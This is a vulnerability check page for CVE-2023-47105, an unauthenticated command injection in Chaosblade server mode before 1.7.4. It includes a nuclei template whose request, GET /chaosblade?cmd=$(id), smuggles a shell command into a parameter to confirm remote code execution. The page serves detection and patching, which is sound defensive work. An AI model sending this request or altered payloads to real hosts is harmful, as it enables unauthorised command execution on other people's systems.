Chaosblade < 1.7.4 - Remote Code Execution

highseverity

8.6CVSS score

1.7%likelihood of exploitation, next 30 days

77%of all CVEs are less likely

Readycheck to confirm it

exec.CommandContext in Chaosblade 0.3 through 1.7.3, when server mode is used, allows OS command execution via the cmd parameter without authentication.

Impact

This vulnerability allows unauthenticated attackers to remotely invoke the HTTP service and execute arbitrary commands on any Chaosblade instance with server mode enabled. This could lead to unauthorized access and control over the host system running Chaosblade.

Fix

Fixed in 1.7.4

How to confirm it

Send: GET /chaosblade?cmd=$(id)
Positive when: contains_all(body,"uid=", "code", "success\":false", "error") and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-47105 -u <target>

The full check

id: CVE-2023-47105

info:
  name: Chaosblade < 1.7.4 - Remote Code Execution
  author: s4e-io
  severity: high
  description: |
    exec.CommandContext in Chaosblade 0.3 through 1.7.3, when server mode is used, allows OS command execution via the cmd parameter without authentication.
  impact: |
    This vulnerability allows unauthenticated attackers to remotely invoke the HTTP service and execute arbitrary commands on any Chaosblade instance with server mode enabled. This could lead to unauthorized access and control over the host system running Chaosblade.
  remediation: Fixed in 1.7.4
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47105
    - https://github.com/advisories/GHSA-723h-x37g-f8qm
    - https://github.com/chaosblade-io/chaosblade/blob/0a07380c9899febb2b544132783b376b44226cca/exec/os/executor.go#L68
    - https://narrow-oatmeal-0c0.notion.site/ChaosBlade-Remote-Command-Execution-CVE-2023-47105-4f5459046488436caaec2bced6ff26d7
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
    cvss-score: 8.6
    cve-id: CVE-2023-47105
    cwe-id: CWE-78
    epss-score: 0.01669
    epss-percentile: 0.76973
  metadata:
    verified: true
    max-request: 1
    vendor: chaosblade-io
    product: chaosblade
  tags: cve,cve2023,chaosblade,rce,vkev,vuln

http:
  - raw:
      - |
        GET /chaosblade?cmd=$(id) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"uid=", "code", "success\":false", "error")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from